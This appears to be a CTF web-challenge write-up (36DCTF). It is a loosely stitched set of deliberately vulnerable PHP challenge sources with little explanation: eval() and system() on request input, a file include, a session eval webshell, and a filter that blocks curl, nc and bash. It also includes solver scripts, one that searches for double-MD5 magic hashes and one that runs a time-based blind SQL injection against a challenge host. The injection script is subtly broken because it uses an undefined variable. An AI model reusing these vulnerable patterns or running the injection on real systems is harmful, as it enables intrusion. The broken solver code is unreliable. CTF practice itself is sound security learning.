[36DCTF]WEB Write Up

<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('nonono');
    }
}
eval("echo($code);");

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
 
function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}
 
//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.-]/', $num)) {
        die("非洲欢迎你1");
    }
    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
 
//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}
 
//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

#coding:utf-8
import hashlib
 
for i in range(999999999,10**33):
    i = str(i)
    num = '0e' + i
    md5 = hashlib.md5(num.encode()).hexdigest()
    md52 = hashlib.md5(md5.encode()).hexdigest()
    if md52[0:2] == '0e' and md52[2:].isdigit():
        print('success str:{}  md5(str):{}'.format(num, md5))
        break

visit all_info_u_want.php and you will get all information you want
 
= =Thinking that it may be difficult, i decided to show you the source code:
 
<?php
error_reporting(0);
 
//give you all information you want
if (isset($_GET['all_info_i_want'])) {
    phpinfo();
}
 
if (isset($_GET['file'])) {
    $file = "/var/www/html/" . $_GET['file'];
    //really baby include
    include($file);
}

<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";
 
if (isset($_GET['view_source'])) {
    show_source(__FILE__);
    die;
}
 
function checkCookie($s) {
    $arr = explode(':', $s);
    if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
        return true;
    } else {
        if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
        return false;
    }
}
 
function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}
 
isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');
 
if ($obj && isset($_GET['give_me_shell'])) {
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}
 
die;

<?php
error_reporting(0);
session_start();
 
//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";
 
if (!$_SESSION['login'])
    die('');
 
if (!isset($_GET['code'])) {
    show_source(__FILE__);
    exit();
} else {
    $code = $_GET['code'];
    if (!preg_match($secret_waf, $code)) {
        //清空session 从头再来
        eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
    } else die('hacker');
}
 
 
/*
 * When you feel that you are lost, do not give up, fight and move on.
 * Being a hacker is not easy, it requires effort and sacrifice.
 * But remember … we are legion!
 *  ————Deep CTF 2020
*/

import requests as req
import time
 
def ord2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
 
  result = result.replace('0x','')
  return '0x'+result
flag=''
url = "https://dc695489-cf68-45f2-97f9-1a21f62ba9e3.chall.ctf.show/"
string = [ord(i) for i in 'IABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']
for i in range(50):
  for j in string:
    password = ord2hex(res+chr(j))
    password = 'or/**/if((password/**/REGEXP/**/binary/**/{}),sleep(10),1)#'.format(password)
    data = {
      'username':"admin\\",
      'password':password
    }
    startTime=time.time()
    r = req.post(url=url, data=data)
    endtime=time.time()
    if endtime - startTime > 5:
      flag += chr(j)
      print(flag)
      break